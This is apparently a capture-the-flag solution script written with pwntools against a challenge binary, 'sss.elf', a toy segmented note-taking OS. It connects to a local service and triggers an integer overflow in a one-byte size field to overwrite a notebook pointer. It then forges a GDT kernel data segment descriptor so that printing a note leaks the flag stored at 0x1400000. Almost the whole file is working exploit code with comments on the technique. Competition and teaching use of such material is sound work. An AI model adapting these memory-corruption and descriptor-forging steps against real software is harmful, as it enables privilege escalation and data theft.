#!/usr/bin/env python3 # -*- coding: utf-8 -*- # This exploit template was generated via: # $ pwn template ./sss.elf from pwn import * # Challange description: # # BIOS + OS + APP to take a note and.... segmented! # Can you get the flag at 0x1400000 ??? # Set up pwntools for the correct architecture # exe = context.binary = ELF(args.EXE or './sss.elf') context.log_level = 'debug' # Many built-in settings can be controlled on the command-line and show up # in "args". For example, to dump all data sent/received, and disable ASLR # for all created processes... # ./exploit.py DEBUG NOASLR def start(argv=[], *a, **kw): '''Start the exploit against the target.''' if args.GDB: return gdb.debug([exe.path] + argv, gdbscript=gdbscript, *a, **kw) else: return process([exe.path] + argv, *a, **kw) # Specify your GDB script here for debugging # GDB will be launched if the exploit is run via e.g. # ./exploit.py GDB gdbscript = ''' tbreak *0x{exe.entry:x} continue '''.format(**locals()) #=========================================================== # EXPLOIT GOES HERE #=========================================================== # Arch: i386-32-little # RELRO: No RELRO # Stack: No canary found # NX: NX enabled # PIE: No PIE (0x1000) # RWX: Has RWX segments # Stripped: No # Debuginfo: Yes def create_seg_descriptor(base, limi): seg = p16((limi >> 12) & 0xffff) #limit low seg += p16(base & 0xffff) #base low seg += p8((base >> 16) & 0xff) #base mid stype = 2 s = 1 dpl = 0 p = 1 seg += p8(stype | (s << 4) | (dpl << 5) | (p << 7)) #flags g = 1 db = 1 seg += p8(limi >> 16 & 0xf | g << 7 | db << 6) #flags seg += p8(base >> 24) #base high return seg gdt = 0x1000000 kds_base = 0x1000000 utok_add = 0x100000 bytes_read = 127 ucs_off = 0x10 buf_read = 0x4f2c flag_pos = 0x1400000 retaddr = 0x4e90 ds_base = 0x4ef4 + 0x1100000 - retaddr #io = start() #io = process('./run.sh') io = remote('localhost', 1337) io.recvuntil('>') io.sendline('1') io.recvuntil('note?') io.sendline('D'*98) io.recvuntil('>') io.sendline('1') io.recvuntil('note?') io.sendline('B'*98) # integer overflow on # u8 new_size; # ... # ... # # bytes_read = userspace_read(buf, sizeof(buf)); # new_size = notebook.used + bytes_read; # new_size # # will overwrite my_notebook.ptr io.recvuntil('>') io.sendline('1') io.recvuntil('note?') # overwrite my_notebook.ptr so that, accessed in kernel (so with ds = 0x10) and # offset to translate from kernel to user macro (APP_ADDR_TO_KERNEL_ADDR), # points to the gdt kernel data segment. Overwite the gdt so that kernel data # segment so that when printing my_notebook.data the address will point to # 0x1400000 (flag position, printing the flag) val = gdt - kds_base - utok_add - bytes_read + ucs_off if (val < 0): val = val + 2**32 io.send('CCCC') io.send(p32(val)) io.sendline(cyclic(119)) io.recvuntil('>') io.sendline('3') io.recvuntil('remarks') kds = create_seg_descriptor(flag_pos - 0x100000 - buf_read, 0xffffffff) io.sendline(kds) io.interactive()